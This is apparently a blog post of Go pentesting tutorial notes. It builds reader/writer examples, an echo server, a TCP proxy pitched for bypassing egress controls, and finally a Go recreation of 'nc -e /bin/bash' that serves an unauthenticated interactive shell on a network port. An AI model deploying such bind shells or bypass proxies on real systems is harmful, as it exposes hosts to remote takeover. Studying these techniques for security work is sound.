Go Pentester - TCP Proxy
Building a TCP Proxy
Using io.Reader and io.Writer
Essentially all input/output(I/O).
package main
import (
"fmt"
"log"
"os"
)
// FooReader defines an io.Reader to read from stdin.
type FooReader struct{}
// Read reads data from stdin.
func (fooReader *FooReader) Read(b []byte) (int, error) {
fmt.Print("in > ")
return os.Stdin.Read(b)
}
// FooWriter defines an io.Writer to write to Stdout.
type FooWriter struct{}
// Write writes data to Stdout.
func (fooWriter *FooWriter) Write(b []byte) (int, error) {
fmt.Print("Out > ")
return os.Stdout.Write(b)
}
func main() {
// Instantiate reader and writer.
var (
reader FooReader
writer FooWriter
)
// Create buffer to hold input/output.
input := make([]byte, 4096)
// Use reader to read input.
s, err := reader.Read(input)
if err != nil {
log.Fatalln("Unable to read data")
}
fmt.Printf("Read %d bytes from stdin\n", s)
// Use writer to write output.
s, err = writer.Write(input)
if err != nil {
log.Fatalln("Unable to write data")
}
fmt.Printf("Wrote %d bytes to stdout\n", s)
}

Copy function in Go.
package main
import (
"fmt"
"io"
"log"
"os"
)
// FooReader defines an io.Reader to read from stdin.
type FooReader struct{}
// Read reads data from stdin.
func (fooReader *FooReader) Read(b []byte) (int, error) {
fmt.Print("in > ")
return os.Stdin.Read(b)
}
// FooWriter defines an io.Writer to write to Stdout.
type FooWriter struct{}
// Write writes data to Stdout.
func (fooWriter *FooWriter) Write(b []byte) (int, error) {
fmt.Print("Out > ")
return os.Stdout.Write(b)
}
func main() {
// Instantiate reader and writer.
var (
reader FooReader
writer FooWriter
)
if _, err := io.Copy(&writer, &reader); err != nil {
log.Fatalln("Unable to read/write data")
}
}

Creating the Echo Server
Use net.Conn function in Go.
package main
import (
"io"
"log"
"net"
)
// echo is a handler function that simply echoes received data.
func echo(conn net.Conn) {
defer conn.Close()
// Create a buffer to store received data
b := make([]byte, 512)
for {
// Receive data via conn.Read into a buffer.
size, err := conn.Read(b[0:])
if err == io.EOF {
log.Println("Client disconnected")
break
}
if err != nil {
log.Println("Unexpected error")
break
}
log.Printf("Received %d bytes: %s\n", size, string(b))
//Send data via conn.Write.
log.Println("Writing data")
if _, err := conn.Write(b[0:size]); err != nil {
log.Fatalln("Unable to write data")
}
}
}
func main() {
// Bind to TCP port 20080 on all interfaces.
listener, err := net.Listen("tcp", ":20080")
if err != nil {
log.Fatalln("Unable to bind to port")
}
log.Println("Listening on 0.0.0.0:20080")
for {
// Wait for connection, Create net.Conn on connection established.
conn, err := listener.Accept()
log.Println("Received connection")
if err != nil {
log.Fatalln("Unable to accept connection")
}
// Handle the connection. Using goroutine for concurrency.
go echo(conn)
}
}
Using Telnet as the connecting client:

The server produces the following standard output:

Improving the Code by Creating a Buffered Listener.
Use bufio package in GO.
// echo is a handler function that simply echoes received data.
func echo(conn net.Conn) {
defer conn.Close()
reader := bufio.NewReader(conn)
s, err := reader.ReadString('\n')
if err != nil {
log.Fatalln("Unable to read data")
}
log.Printf("Read %d bytes: %s", len(s), s)
log.Println("Writing data")
writer := bufio.NewWriter(conn)
if _, err := writer.WriteString(s); err != nil {
log.Fatalln("Unable to write data")
}
writer.Flush()
}
Or use io.Copy in Go.
// echo is a handler function that simply echoes received data.
func echo(conn net.Conn) {
defer conn.Close()
// Copy data from io.Reader to io.Writer via io.Copy().
if _, err := io.Copy(conn, conn); err != nil {
log.Fatalln("Unable to read/write data")
}
}
Proxying a TCP Client
It is useful for trying to circumvent restrictive egress controls or to leverage a system to bypass network segmentation.
package main
import (
"io"
"log"
"net"
)
func handle(src net.Conn) {
dst, err := net.Dial("tcp", "destination.website:80")
if err != nil {
log.Fatalln("Unable to connect to our unreachable host")
}
defer dst.Close()
// Run in goroutine to prevent io.Copy from blocking
go func() {
// Copy our source's output to the destination
if _, err := io.Copy(dst, src); err != nil {
log.Fatalln(err)
}
}()
// Copy our destination's output back to our source
if _, err := io.Copy(src, dst); err != nil {
log.Fatalln(err)
}
}
func main() {
// Listen on local port 80
listener, err := net.Listen("tcp", ":80")
if err != nil {
log.Fatalln("Unable to bind to port")
}
for {
conn, err := listener.Accept()
if err != nil {
log.Fatalln("Unable to accept connection")
}
go handle(conn)
}
}

Replicating Netcat for Command Execution
The following feature is not included in standard Linux builds.
nc -lp 13337 -e /bin/bash

Create it in GO!
Using PipeReader and PipeWriter allows you to
package main
import (
"io"
"log"
"net"
"os/exec"
)
func handle(conn net.Conn) {
/*
* Explicitly calling /bin/sh and using -i for interactive mode
* so that we can use it for stdin and stdout.
* For Windows use exec.Command("cmd.exe")
*/
cmd := exec.Command("/bin/sh","-i")
rp, wp := io.Pipe()
// Set stdin to our connection
cmd.Stdin = conn
cmd.Stdout = wp
go io.Copy(conn, rp)
cmd.Run()
conn.Close()
}
func main() {
listener, err := net.Listen("tcp", ":20080")
if err != nil {
log.Fatalln(err)
}
for {
conn, err := listener.Accept()
if err != nil {
log.Fatalln(err)
}
go handle(conn)
}
}

相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。

浙公网安备 33010602011771号